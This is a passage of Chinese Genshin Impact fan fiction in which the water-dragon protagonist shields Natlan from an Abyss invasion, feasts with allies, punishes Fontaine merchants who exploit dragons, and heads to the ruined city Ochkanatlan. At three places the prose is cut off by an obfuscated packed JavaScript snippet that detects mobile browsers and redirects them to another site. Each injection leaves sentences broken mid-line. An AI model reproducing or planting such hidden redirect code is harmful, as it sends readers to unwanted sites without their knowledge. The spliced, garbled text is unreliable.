走出圣火竞技场,在下方的溪流与青草地间踱步,幼年嵴峰龙见到静原会比较热情的凑过来,然后被挠挠肚子,投喂颗粒果和青蜜莓。成年嵴峰龙有点警惕,但不多,不主动靠近,但也不主动攻击,这样就很好了。幼年鳍游龙喜欢泡在水里玩,见静原在喝苦水,便也想着要分一口,结果尝尝之后咂巴嘴,打个喷嚏游远了。 山崖上有人吹着短笛口哨,调子悠远,让他想到了悠远的平原旷野上刮过的风,以及千峰山峦间回荡的声响。 这样的乐声里描述了宽广的世界,总能让静原想起生养他的海洋,想起每年繁殖季日夜唱和的歌,想起厄里那斯的女儿,想起沫芒宫里乖乖批公文的那维莱特。 纳塔很好,可是他还是会想家。 静原竟然有点想深渊快点来袭,解决完然后回家——这种想法太地狱了。 旅行者和黑曜石奶奶茜特菈莉见面后,将救走【队长】的人选锁定到了茜特菈莉失踪的孙子欧洛伦身上,然后见面就被人大小伙子叫了一声“爷爷”。 派蒙啊了一声,又被水灵灵的叫了一声“派蒙奶奶”。 “这种超级加辈也太让人不适了。”旅行者接受不良,“硬生生给我叫老了。” 欧洛伦异色的双眼注视着旅行者,能让人感受到他的诚恳:“那我按照您的真实年纪来称呼可以吗?” 五百岁打底,上不封顶的旅行者沉默了。 “你还是叫爷爷吧。”他屈服了。 派蒙跟着无奈叹气,感觉自己瞬间苍老了不少。 茜特菈莉找到了欧洛伦,本来是来圣火竞技场这边给他做保,保证他不是勾结愚人众的叛徒,结果后手欧洛伦就逃走了,还是跟【队长】走的。 气得茜特菈莉猛灌酒:“我要打断他的腿!三个警惕都背到狗肚子里去了吗?就那么信任愚人众!” 在隔壁桌吃晚饭的静原悄悄竖起耳朵,可惜只听得到愤慨的不明呓语。静原很失望,还以为能听到新的八卦。 不过,找回欧洛伦,弄清愚人众动向和动机显然是目前必须要做的。很快茜特菈莉和打道回府的旅行者碰面,再次重整旗鼓出发。静原没和他们一块,而是去了[回声之子]的领地看望小嵴峰龙托托,捏着它的爪子点点头:“坚硬了不少,看来坚持吃营养餐还是有效果的。” 托托:“哇!” 旅行者的龙伙伴阿兹特克也暂时留在了[回声之子],跟着托托和尼尼它们几个吃大锅饭,看见静原回来很高兴,凑过来问旅行者和派蒙他们好不好,有没有受伤,过得高不高兴。 静原摸摸小崽子的脑袋,告诉它有关旅行者最近的故事。龙伙伴很开心,也很失落。静原只能抱着它安抚:“别担心,等最大的危险解除了,你们就可以继续探险游历……他们会来接你的。” 阿兹特克这才高兴起来,拍拍肚子,摇摇尾巴,然后蹭蹭静原的裤脚,这个动作是邀请他做游戏,嵴峰龙幼崽间常做的游戏,类似人类小孩“你拍一,我拍一”那种。 静原抓过阿尤:“阿尤陪你,我是大人,大人不玩小朋友的游戏。” “呜呜——”好吧,阿兹特克接受这个说法。 一脸懵的阿尤:“噶?”我只是来找卡齐娜玩的啊。 “卡齐娜不在,她是战士,在圣火竞技场那边备战。” 阿尤这才老实安分了。 也许回到[回声之子]看小龙崽们是个正确的选择,深渊毫无预兆的入侵那刻,附近的矿洞坍塌,好些采矿人和小嵴峰龙困在里面,帕加尔当即组织人手和成年嵴峰龙去救人,巴茨自告奋勇——他养的好些小龙宝宝都在矿洞里玩。 静原抄起武器跟他一起去,看着这小子一边嚎一边扒拉石块,简直不忍直视。成年嵴峰龙挖矿需要安稳的外部环境,深渊魔物入侵导致的打斗会让岩石组织不稳定,矿洞很容易崩塌。 托托告诉静原这个道理后,他的优先选项就不是挖矿救人,而是杀魔物。 深渊界门开了一个又一个,静原骨杖抡得手掌心磨出水泡,直到卡齐娜和希诺宁从圣火竞技场回来支援,夜魂力量加速破除深渊界门的护盾,速度才快了几倍。 等[回声之子]这边情况稍微可控了一些,断了一条腿的巴茨和小嵴峰龙们被护送去安全的地方,静原跳上山崖,俯瞰纳塔的天空和大地。 盘踞在高空的巨大深渊魔物是个黑漆漆的球,如日中天,遮蔽天光,让纳塔笼罩在阴影之下。大地上到处都是深渊界门和深渊瘤石,被侵蚀的土地,被驱使的魔物,被屠戮的人民,龙类的怒吼与哀嚎响彻云霄。 风吹过来,蓝色的长发在空中飞舞。血腥与污泥的气息擦过他的脸颊。 “天杀的……” 静原握紧了骨杖,最终双手横持,清澈的流水自涤净青晶涌出,换绕在他周身,托举他浮于半空。 温润的水光在昏暗中并不起眼,可当他挥动那柄骨制的法杖,属于厄里那斯和那维莱特馈赠的力量便任由他驱使。环绕在纳塔周围的海域顷刻掀起巨浪,分化成十几股洪流朝静原所在的方位汇聚,这样巨大的动静显然吸引了人类与龙的注意力。 “妈妈,天上有海……” 年幼的孩子缩在母亲怀中,怔怔的指着水色的“天空”。那已经完全被海水取代了,水色的半圆屏障笼罩纳塔六个部族的主要聚集地。 声势浩大,相当震撼。 在前线作战的旅行者目瞪口呆,派蒙仰着头盯着天穹:“卡吕普迪斯,这是要水淹纳塔吗?” 静原当然不会水淹纳塔,他又不是天上的脑残。海水构成薄薄的水色屏障,阻隔了天上巨大漆黑深渊球体对于地上力量的输送,用人话来讲就是深渊无法再通过天上的东西输送力量,无法再开启新的深渊界门和深渊瘤石了。地上的人只要撑过这一轮,就能得到喘息时机。 不过这样对他自己的力量消耗极大,他维持着巨大的拱形屏障,直面天上的漆黑渊薮。 地上的事交给纳塔人。本次深渊突袭,[回声之子][烟谜主][花羽会]是集火最严重的地方,[流泉之众]那边有静原先前的预防措施,现在情况并没有其他部族严重,医疗队和物资正在路上奔波。[悬木人]的信使飞梭在各个部族间,传递着战争时期最为关键的讯息,哪怕有静原先前的黑曜石护身符定位,但阵亡人数依旧居高不下。[沃陆之邦]的战士骁勇善战,加上地势偏僻,受袭程度最轻,也是最先开始支援其他部落的,比如受袭最严重的[花羽会]。 静原在天上等啊等,从海水中汲取水元素力量的支撑,消耗深渊的力量。直到他感觉到了天上的东西正在积蓄力量发起总攻击,当即解开屏障,众多散去坚固形体的洪流汇聚,在空中构成一头硕大无比的鲸形巨兽。 巨兽发出属于海洋的声吼,在云海天际遨游。 与此同时,圣火竞技场那边出现了更多更大的深渊界门,源源不断输送着更多强大的魔物,撕咬着目光所及的一切活物。 静原眯着眼睛瞧了一会,发现了好些眼熟的伙伴……卡齐娜!小姑娘拿着枪左右横挑,吭哧吭哧不知道费了多少劲。 愚人众的士兵也在啊……静原叹了口气。 他自高空举起法杖,挥了个半圆,然后指向圣火竞技场。号令巨鲸俯冲:“碾碎它。” 水色的巨兽象征着怒涛,微微抬头,然后向下俯冲。它本就是没有智性的,水元素拟态之物,顶多蕴含了纳塔海洋一二意志,对于深渊的憎恨早已随着战士与龙的骨血融入这片大地,海洋也为之哀鸣。 于是高空水色巨兽以绝对的姿态与重量碾压了圣火竞技场,在那样声势浩大的冲击下,魔物瞬间融入了水,成为水的一员。深渊界门几乎是眨眼间就被碾碎,海水灌入圣火竞技场,将其里里外外冲得一干二净。 按理来说,人类与龙在这样的冲击下也会死去。但是没有,海水穿过了他们的身体,好像他们本就是海的一份子。洪流席卷而过,而他们仍旧屹立在那里,如同坚硬的山峦。 以绝对的姿态冲刷了圣火竞技场后,水体上浮,混浊的,扭曲的,容纳了深渊魔物的水在空中恍恍荡荡凝结成球体。 纳塔人看得心惊胆战。 旅行者擦了把汗:“他到底想要个什么形状啊。” 【队长】卡皮塔诺闻言回头:“他?” 愚人众也参与进这次纳塔战争中来,大家在对抗深渊这件事上取得了态度的统一,因此一些情报信息可以共享。于是静原的消息就被告诉了卡皮塔诺,这个执行官看着被水冲洗干净,没有深渊污垢的四周,给出了极高赞扬:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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恰斯卡的妹妹葵可不幸遇难,悬木人的维查玛也去了夜神之国,阿伽娅为了互送医疗物资队伍平安抵达重灾区,死在了魔物的撕咬之下……这还只是旅行者记得名字的,他不记得的那些呢。 受伤的愚人众士兵躺在担架上被送到驻扎营地接受军医治疗,队长说,愚人众也有物资供应,至冬那边会运来新的一批物资,到时候优先供应圣火竞技场。 玛薇卡自然是感谢的。 她看着大家的面容,看着失去至亲至友后的满目哀怯,看着觉醒的六位战士:基尼奇,希诺宁,伊安珊,玛拉妮,欧洛伦,恰斯卡…… 火神向众人宣称:“决战之时已至,像深渊的反击是时候打响了。诸位,请与我一起,为了纳塔!” 静原睡得模模糊糊的时候,好像听见了外面喊得震天响的“为了纳塔”,一声盖过一声,又听见什么“火之魔神赫布里穆”,做了个火神攻打枫丹的噩梦。 天哪,梦里那维莱特被看不清面容的火神揪着衣领子,快要被蒸腾的火焰烤干,眼看着水龙又要重蹈前代覆辙,急得现实里静原的腿在空中乱蹬,像是蹬自行车跑圈似的。 最后不负所望的一脚踹塌了床,跌下床,给自己摔醒了,也摔懵了。 回过神来后静原只能捂脸庆幸没人看得到他在房间发癫,清白尚且存世。纳塔也没有攻打枫丹,那维莱特也没有被火焰烤成龙干。 噩梦,这绝对是噩梦。 他摸了把脸,起床踉踉跄跄走出去,然后就在大厅看见玛薇卡。 “你醒了,太好了!我正打算等庆功宴大餐做好后叫你起床。”玛薇卡拍拍他的肩膀,“休息得怎么样?” “做了个噩梦,还把床睡塌了。”他打了个冷颤,搓搓胳膊,“仗打完了?我这是睡了多久?” 难道这是深渊攻破纳塔后,他在梦中死去造出的环境吗? 静原被自己的猜想吓得心惊肉跳。不过看着玛薇卡赤红眼瞳中耀眼的日轮,又觉得应该不是梦。 玛薇卡没在意卡吕普迪斯那句把床睡塌了:“你昏过去后,恰斯卡觉醒成功,补上了最后一块力量拼图,我也得以借用神之心与英雄们的力量开启还魂诗,庇护所有生命,去开启对深渊的总进攻。哦哦,还有你用完搁置的那团水,我发现神之心加上圣火的力量可以净化其中属于深渊的污秽,不过现在没人能动它,担心一个不好就会崩溃。所以还得麻烦你后续处——” 静原听到这里打了个响指,隔着遥远的距离,半空中的洁净水球又分化为十几道水流钻入海中。 他表示解决完毕,很快就会有人报告给玛薇卡外面的事:“这已经是意外之喜了,我原本打算塞进天上深渊里的……那个叫什么来着?” “[深渊的浮灭主]古斯托特*。用传说里的称呼为它命名,也算形象。”玛薇卡笑容爽朗。 静原嘀咕:“干嘛还给个像人的名字,简直高看它了。” 74.幕间休息 众人开庆功宴聚餐,玛薇卡大手一挥表示全场消费由她买单,因此大家埋头苦吃,用来弥补在先前战争中亏空的身体。 静原疲惫昏睡的原因主要是长时间支撑护盾对抗深渊的入侵,有些脱力,睡一觉就好了,没什么大问题。他坐在席间埋头吃饭,竖起耳朵听同桌的战士们聊天——如果阿乔不说话,静原可以保持沉默直到宴席结束。毕竟说的多就吃得少。 阿乔愤愤不平自己先前参与狩夜者战争结果被玛薇卡禁言的事,大声嚷嚷表示不公平,这是对伟大圣龙领主的亵渎,静原了解后顺带又嘲笑了他一波。 派蒙看着真解气,作为总是被阿乔怼的小型漂浮物,她对于静原的“路见不平”喜闻乐见:“我就知道卡吕普迪斯能治你。让你总嘴欠!” 静原对着阿乔扬起笑容,怎么说呢……用旅行者的话来形容就是,又屑又欠,摆明了挑衅。 阿乔总能被静原轻而易举得撩拨到红温,哪怕静原只是坐在那里呼吸、看着自己微笑而已:“渺小的派蒙,僭越的龙类!伟大圣龙库胡勒阿乔的神圣之言当被大地上的生命俯首聆听,让你们坐在这里听我讲话已经是额外开恩!还不快快跪——” 话还没说完,基尼奇已经一巴掌把阿乔扇飞,再次关禁闭,然后给旁边握着餐叉听得一愣一愣的卡齐娜擦擦嘴角:“吃吧,别管他。” 卡齐娜如梦初醒:“哦哦!” 旅行者无奈摇头,这已经是固定戏码了。 饭后大家在话事处开会,静原受邀旁听,但兴致缺缺。 玛薇卡说,深渊遭到了如此剧烈的反抗和反击,已经缩回了地底。而等时机成熟,她将亲自去往深渊内部清除危险,彻底粉碎深渊入侵纳塔的可能。 本来玛薇卡只打算自己一个人去,不过旅行者执意要求他也参与这次反攻战,因此对外公布的参展名单只有玛薇卡和旅行者二人。 如果静原能去,那再好不过了。可惜他不能去,因为他的灵魂被死亡的国度拒绝容纳,夜神之国无法对他的本体开放——玛薇卡原本不知道这个,她只是觉得不能让客人卷入如此危险的事情中去,所以不曾发出邀请。后来知晓也只是沉思。 “纳塔这边,我打算再玩一段时间就启程离开。”静原得到玛薇卡预估的出发时间后,表示自己无法在纳塔久留,“毕竟家里还有人在等我回去。” 纳塔这边最危险最危急的关节点已经过去,多他一个不多,少他一个不少,静原当然会选择回家。 玛薇卡等人自然是挽留,表示一定会尽到地主之谊。 “那我可以去纳塔的禁地看看吗?就那座失落的龙时代古城。”静原前段时间去禁地外围海域布置的时候远远看过一眼,没有深入了解。 玛薇卡说:“禁地?你指的应该是奥奇卡纳塔,古老传说中蛇王建立的城邦,之所以成为禁地,也是因为那里盘踞着一头恶龙,会袭击每一个踏入其间的生物。话说,你怎么会对那个感兴趣?” “因为上次我只是在海边看了一眼,就有一头紫色的龙飞过来砸下火球。”静原面色平淡,“我和他无冤无仇,很想知道他为什么要攻击我。” 意思就是要当面问个清楚。具体怎么问,用什么问,玛薇卡表示不在意,既然是你的话,想去就去吧,毕竟你有自保能力。 于是静原美滋滋的离开了话事处。 出发去奥奇卡纳塔前,静原先陪着卡齐娜回到[回声之子]部族报平安,然后带着她一起去[流泉之众]泡温泉玩,有热情的玛拉妮当向导,当然一切顺利。 在流泉之众附近的海域,静原变回了鱼尾巴向卡齐娜展示了一下人鱼的美貌。人鱼在海中好像自带魅惑buff,几只小鳍游龙眼睛都看直了,凑过来在他身边眨巴着眼睛,满脸好奇。 卡齐娜很喜欢人鱼漂亮的尾巴,如同蓝锦绸与白珍珠似的。她摘下手套摸了摸靠近尾鳍的地方:“卡吕普迪斯先生,你的裤子就是尾巴的皮肤吗?我看见过你裤子上的鱼鳞花纹。” “差不多吧。”静原含糊道。总不能告诉孩子每一次变成人类的双腿,就会有一副鱼皮被完整剥下来当裤子吧?听上去太可怕了。 之后他以人鱼形态跟玛拉妮比赛海上竞速,流泉之众闲着的居民几乎都来观赛,后来更是有鳍游龙和部族冲浪好手加入其中。参赛成员在溶水域间疾驰,然后用余光看人鱼每一次摆动时尾巴划出的美妙弧度。 观众们自然是正大光明的看了,莫乌和梅内娅混在其中大声为静原加油。来自异国他乡的深海精灵在流泉之众这里混得如鱼得水——各种意义上。 “呜呜!”莫乌拍拍前鳍,大声说冲啊龙龙! 最后的比赛结果理所当然是静原赢了。要是在水里比速度赢不了,他也不用当鱼了,收拾收拾准备重开吧。 比赛结束后玛拉妮依旧兴奋:“原来这就是人鱼的姿态吗?充满活力而矫健,简直就是天生的海洋竞速者!” “低调低调。”静原笑了笑,“毕竟我的物种是人鱼,游得快很正常。” 旁听的莫乌:“呀!”明明是龙,为什么总要说自己是鱼呢?龙会吃鱼,但是没有龙会吃卡吕普迪斯,这就是区别呀。 静原:因为我很满意美人鱼这个身份,不管我本身算什么,反正对外宣传就是鱼。 莫乌:“呀!”奇怪的坚持。 在溶水域附近逛完,玛拉妮和卡齐娜带着静原去流淌着炽热岩浆的地下空间,虽然被高温蒸得满头大汗,但静原见到了那些在岩浆中扑腾的耐高温鱼类,还是感觉来得很值。 静原一边擦汗一边对着那些石褐色的鱼感叹:“要是有留影机就好了,我应该拍个照带回枫丹给他们看的。” 带是不可能带回去的,这种鱼已经适应了极端的高温,无法在正常水域生活,而他也不可能打包岩浆带回枫丹——路上还要穿越广袤的沙漠唉。 “那我们下次带上留影机来。”玛拉妮表示这都不是问题,“鳍游龙和一些变种的浮游鸟也可以在岩浆里生活,卡吕普迪斯先生对这些感兴趣的话,也可以看看那些。” 然后静原真的走到了正在岩浆里打滚的成年鳍游龙身边,蹲下来问它们:“泡在这里感觉怎么样?” 鳍游龙说:热热的,舒服。 静原心想自家那些水龙蜥是不可能会觉得舒服的,怎么纳塔水龙蜥进化到这个地步,冷热都能接受。 烈焰纹路的浮游鸟被静原抓了一只搓搓,皮毛光滑,哪怕从岩浆里捞出来也没粘上什么烫烫的东西,就像个活体暖手宝似的。 这玩意卖到至冬绝对有市场。被蒸得脸蛋红扑扑的邪恶静原如此心想。 最后打包了一些澄晶石回去,卡齐娜见他对亮晶晶石头表现出兴趣后,很快邀请他去矿洞里挖矿石,给他看自己的收藏。 “每一块石头都是独一无二的,我喜欢它们在阳光下亮闪闪的模样,好像我的心也被照得剔透而温暖。” 卡齐娜讲起自己的爱好时,本来就像海一般的宝石眼睛更显得光彩夺目,看得静原心里软乎乎,忍不住摸摸她的头:“你的心一直如同明珠一般。” 卡吕普迪斯钟爱纯洁的孩子,因为孩子的灵魂就像初生的太阳,温暖而又生机勃勃。和孩子待在一起,他这种活得久的老东西也能恢复一二活力,从里到外心情明媚,变得快乐起来。 不过愉快的时间总是短暂的,和两个小姑娘们分别后,静原踏上了去往花羽会的路,和旅行者碰面,顺手处理了一些不幸患有深渊ptsd综合症的战士的心理疾病,意外和来送药的队长有了意想不到的交流。 主要是之前静原没怎么和队长说过话,只知道他来纳塔跟玛薇卡打了一架,然后被欧洛伦救走,之后带着他的兵支援了纳塔作战。 用欧洛伦的话来说,队长这个人的灵魂沉重而正直。静原对愚人众这个群体没有什么先入为主的坏念头,对队长也是平常心。 倒是队长的态度很微妙:“卡吕普迪斯先生,我听仆人和公子提起过你。” “他们?怎么说的我,我能知道吗?” “仆人说,你是拥有慈悲心怀的强者,对待弱势群体给予关怀。公子说,你是值得挑战的强敌,也是可以托付后背的伙伴。”队长的声音听上去让人感觉到他每一句话都是铿锵有力,“那天我看到了你的所作所为,我想我的同僚们对你的评价很是中肯。” 仆人在枫丹大水灾难结束后就带着一部分势力撤出了枫丹,回到至冬述职,正好和队长见了一面。 “谢谢。”好赖话他还是分得清的,“另外卡皮塔诺先生,虽然有些冒昧,但我可以问你几个关于坎瑞亚的问题吗?” 这个问题只针对坎瑞亚遗民的卡皮塔诺(尽管他的真名不是这个),不涉及至冬的信息,全看队长自己的个人意愿。 卡皮塔诺看了一眼旁边默不作声的派蒙和旅行者,空洞的脸上看不清神情:“当然可以。” 静原摸了摸下巴:“坎瑞亚的大门,就是我了解的那个处于须弥荼泥黑渊地下的,封印了无数魔物的大门,它的开启条件是什么?” “……恕我直言,卡吕普迪斯先生,我能否认为你有开启那扇大门的意图?”卡皮塔诺想到了沉重的过去,不免有些尖锐,但这尖锐能让人接受。 “抱歉,我并没有开启那扇门的打算,毕竟我不知道门后是死寂还是深渊。”静原显得很平淡,“我只是想知道开启那扇门的条件,方便调查一些事。” 卡皮塔诺沉默了一会,才说:“坎瑞亚在过去,是不与七国交往的封闭国度。也因此,大门总是紧闭,唯有得到皇室御令才能开启或者关闭大门。当然,如果力量绝对横强,自然可以无视规则。”就像当年的天理与六神那样。 静原颔首:“感谢你的回答,对我很有用。” 旅行者显然想到了什么,表情有些难看。 物资与药品送到位,队长也就先行离开了,静原在花羽会的地盘上逗留了一段时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321100|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逮住了几个枫丹商人,直接阻止了他们对花羽会出售新型燃素翼——说是有了这个,花羽会战士哪怕不需要绒翼龙也可以飞上高空作战了。 此前花羽会战士一直以能与绒翼龙结为伙伴而骄傲,只有被绒翼龙承认选中的战士,才能加入飞行队在高空作战。只是从实用角度考虑的话,燃素翼这种东西普及开来,能为纳塔提供相当一部分战力,支援更快,死去的人会更少。 但是这东西,难评。 “你们几个家伙,知不知道人家的小报告都打到我这来了。”静原揪着那明显最年轻的领头人的耳朵,“告诉我,你知不知道这个燃素翼用什么做的。” 刚打个照面就认出自家大守护者的枫丹商人连连讨饶:“知道知道,卡吕普迪斯大人,您轻点啊。” 根本没用强力的静原没松手:“你知道你还敢来这晃悠?你知道你还敢卖?我看你也是蔑视纳塔法律,目中无人了哈。” 纳塔也有律法,也保护龙类。那些燃素翼是通过抽取野生绒翼龙身上的燃素汲取力量的,对绒翼龙身体伤害特别大,属于是那种一旦点破绝对会遭到正常纳塔人抵制然后被打破头的无良产品——纳塔还没到山穷水尽退无可退必须要牺牲龙伙伴来铺路的地步。 枫丹法律明确规定,虽然各国律法不一,但枫丹人在他国触犯当地律法,枫丹廷会视情况在国内开庭审判。 商人一听就明白这事不好好处理了,最好的情况就是自家大守护者保证会押着他们穿越沙漠回到枫丹在欧庇克莱歌剧院受审,然后送进梅洛彼得堡打螺丝。而糟糕的情况……被枫丹知名龙类保护成员逮住伤害龙类,哇塞,他的命怎么和璃月的苦茶一样苦。 最后人被静原押到花羽会主事长老面前,调停人恰斯卡听到风声急急赶过来,才发现居然还有她的事。 私人方面的。 “有个叫柯娅*的绒翼龙不知从哪个小龙那里听到我这个外乡人听得懂龙的话,能帮忙,找到我说她的孩子被人类抓走了,是一群和我有着同样海洋气息的人类——这不明摆着是枫丹人吗?柯娅希望我能从人类那里打听到她孩子的下落。所以我来花羽会附近,逮到了这帮小子。”静原美化了一下过程,毕竟柯娅是个不喜欢人类的绒翼龙,只是感觉到他是强大的同类,所以愿意告诉他情况顺便寻求帮助而已。 恰斯卡一听懵了,柯娅是她的姐姐啊,姐姐的孩子被人类抓走了!而她现在才知道! 静原懒得多废话,包揽了审讯这事:“搞快点,这里没有那维莱特和审判庭,没人管的了我。” 听明白他言外之意的枫丹商人战战兢兢把知道的全说了,完全没在意在场的某个人脸色越来越差。 派蒙觉得枫丹商人这么害怕卡吕普迪斯很奇怪唉,明明在枫丹的时候,大家都很敬仰他啊。于是她在静原找恰斯卡谈话的时候,趁没人在意,偷偷溜到几个商人身边悄悄问:“你们刚刚怎么抖成那样?知道这种事不该做,为什么不一开始就不做呢?” 蓝衣服的枫丹商人哭丧着脸:“因为这行利润高啊。如果不是来钱快,也不一定会冒这个险。” 派蒙歪了歪头:“我看你们的样子也不像是悔过,反倒是害怕遭到惩罚……卡吕普迪斯又不会吃了你们,反正最后还是会平安回到枫丹的,干嘛哭啊。” “你不懂,你真的不懂。”那人摇摇头,挤出两行热泪,“卡吕普迪斯大人的仁慈仅在海洋与孩童面前展现,他本身就是海的另一面。他说这里没人管的了他,就是指如果我们不听话,他就要动用不合法的手段了。” 真的触怒了卡吕普迪斯的话,在对方的注视下死在异国他乡也不是不可能——卡吕普迪斯不一定是施暴者,他完全可以冷漠旁观,不是吗? 对于依靠海洋而生的枫丹人来说,被卡吕普迪斯厌恶等于被海厌弃敌视,那是生理到心理产生的一种被放弃的惶恐。 而且卡吕普迪斯打人真的很痛啊!!! 几个商人悲从中来,一开始只是小声的哽咽,后来竟然忍不住哭得更凶。花羽会的战士路过,投来诧异又不屑的眼神。 派蒙满脸无措:“不是我弄哭啊喂!” 恰斯卡注意到了那边明显不对劲的情绪:“你做了什么?” “一点心理暗示,长久的恐惧笼罩也是一种刑罚 ”静原表情不变,“这种心理暗示会一直持续到我回来带走他们。” 在静原这里,龙贩子就是人贩子——虽然他自称是一条鱼,但好歹是被各方势力承认的龙裔,也属于龙的族群。说那样的话也是为了给恰斯卡的部族提个醒,打人别打太过,至少等他从奥奇卡纳塔回来时面上看不出伤来——恰斯卡自然明白这个意思,表示自己会视姐姐孩子的情况而定。 后面的事静原懒得管,先一步离开了花羽会,朝着远处失落的古城奥奇卡纳塔出发。 他一定要逮住那头往他头顶丢炸弹的蠢东西,暴打一顿!!!! 记仇的静原恶狠狠地想。 75.流灰 奥奇卡纳塔,在纳塔人尚有文字记载的历史中,他属于蛇王奥奇坎治下的,人与龙共居的城邦。 烬城。 如今的纳塔人这样称呼他。花羽会的战士们站在高处,隔着远海与云雾眺望远处朦胧的,巨大的灰白色影子,如同窥探面纱下美人的容颜一般。 如此神秘,天生就吸引那些勇于挑战未知,探索不可知的冒险者。何况他身怀传闻中的宝藏,无数人前赴后继,最后埋骨于此再也没能回去。于是烬城成为了禁地,成为了纳塔人口口相传的禁忌。 说实话,当初静原来海边只是为了借用这边海水的力量。远望奥奇卡纳塔,思及此处是纳塔禁地,尊重当地人意愿自己也不该贸然探索,所以他只是看了一会,没有进去。谁知道只是站在海边催动了元素力,云雾中就窜出来一头紫色的龙,扇动着宽大的翅翼对着静原吐出火球,要不是他跑得快,砸到身上不得烫出几个洞? 也许是没看见静原这外来龙裔有深入领地的意思,那紫色的龙在天空盘踞了一会,然后耀武扬威——在静原看来就是耀武扬威的反身钻入云海。留下静原从当做掩体的山石后探出头来,咬牙切齿顶着那座城,最后还是愤愤离开。 俗话说得好,强龙压不过地头蛇,何况这是人家的地盘,他不可能不管不顾就跑到人纳塔的禁地去闹。所以这件事被他压在心底,直到深渊入侵失败,目前情势大好,他想着回家前出口恶气,从玛薇卡那里得到了口头的允诺后,提着棒子就准备来打龙了。 如果是在须弥沙漠那种地方挨欺负,他可能就默不作声忍了。但是这里是纳塔,三方环海,奥奇卡纳塔更是被海水包围与世隔绝的独立城邦——完全在静原的主场。 “优势在我。”他如此表示,这会自信满满,驱使海浪席卷高崖,乘着浪尖跳到了主城灰白色的长街上。 难道你以为他会爬上去吗? 静原这种要面子的懒鬼怎么可能像旅行者一样吭哧吭哧爬山?聪明的旅行者会附魂绒翼龙自高处飞到烬城,那么聪明的静原也会驱使烬城周围的海水将自己送到高处。 其实他挺想在枫丹海这么来一回。你想想啊,海上掀起巨浪,瞬间拔高的浪潮巍峨可抵群山。他站在浪尖上和站在沫芒宫外的那维莱特对视,想想都很酷唉! 枫丹廷本身地势就高,整座城拼命的往高处修建,就是当初越涨越高的海水。而他掀起的浪足够打到沫芒宫,再努努力往上,整座枫丹廷从上到下都被海浪拍打也不是不可能。 哇塞太帅了,就是很费人。 所以静原也只是想想而已,没真这么做过。自打他自愿护航人类行船而过后,再也没人为的掀起巨浪了。 因为人类会害怕。 不过在奥奇卡纳塔就没事啦。玛薇卡说过,这里基本没有活人的行迹了,除了那些不听劝告偷溜进来的冒险者。静原现在掀起的汹涌浪潮没人看得见,他也就是自娱自乐一下。 烬城的建筑风格和他在纳塔其他地区看见的龙时代遗迹保持告诉相似,灰白色主基调,纂刻龙的文字驱使燃素。嗯……说是命令燃素也可以。各种机关直到今日都可以使用。静原有时候也会想,远古时代的龙类文明如此发达,说不定比现在还要先进,原初带来的毁灭性打击如此巨大,叫远古龙类的传承几乎断绝,直到今日仍未恢复完全……如今的龙类是否可以战胜原初的后继者呢? 多思无益啦。 静原顺着城邦的主街慢慢朝着前方走,空气中似乎还在弥漫烬城融毁之日的灰烬,灰蒙蒙的,感觉鼻子呼吸的空气都没那么清新。可城市建在海上,按理说再多的灰烬也该在时间和海风的吹拂下弥散了。 可是奥奇卡纳塔如今仍有流灰余烬。 很快静原就知道为什么了。 这里先提一下烬城内没有人类聚集,因此吸引了众多魔物驻扎,当年深渊的侵蚀仍未散去,到处都有深邃晦暗的扭曲形态异兽,后者几乎吸引了静原的全部注意力——因为它当着静原的面,变成了[卡吕普迪斯]的模样。 静原突然就想到了当初在厄里那斯见到[卡吕普迪斯],那个家伙相当厌恶拥有自己容貌的静原。最开始静原并不明白对方的恶意从何而来,听完[卡吕普迪斯]的故事,以为是对方对自己没用的悔恨。不过现在想来,也许[卡吕普迪斯]厌恶的,真的就是这种模仿他外形的魔物呢? 如此强大的学习与拟态能力,只是打个照面就能复制出静原的模样,那么其他人的模样也可以轻而易举的模拟出来吧? 它的攻击与静原平时的攻击有些类似,归根结底不过是深渊的侵蚀本质。拥有厄里那斯赠予力量的静原并不畏惧如此程度的攻击,不过这怪物幻形后似乎能免疫一段时间的元素攻击,静原摁着它邦邦邦锤了好几下才破盾成功,然后一棒子敲死。 没等他捏着打死后掉落的物件研究出个什么花样来,先前袭击过他的龙又来了。到处喷吐烈焰火球,飞在天上像个无情的轰炸机,地上的魔物在哀嚎中化为飞烟流灰死去。 原来烬城终年不散的飞灰是这样来的…… 静原这样想着,那清理了魔物然后把矛头对准他的龙又开始喷火球,静原差点被燎到脚。 他没穿鞋,被烧一下很痛的唉!!! 于是法杖点地,烬城周围的海域听召掀起足足可以倾覆城池高的海浪,分化为洪流的锁链,就像是攀附架子的新生葡萄藤枝条,只是几个呼吸的功夫,水的锁链就套住了正在飞行的龙的脖子,硬生生将他扯下来摔进海里。 龙类愤怒的吼叫震颤海浪,烈焰融蚀水色锁链。一时间蒸腾的水汽迷人眼,眼看他就要飞走,但是静原哪会让他如愿。已经被打上标记的猎物,是无法逃离的。 静原只是单手拎着法杖随心挥舞,海浪与锁链就拽着龙的脖子与肢体不断向下拉扯,放风筝似的。尚未完全束缚龙的翅翼,要的就是让龙以为自己只要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 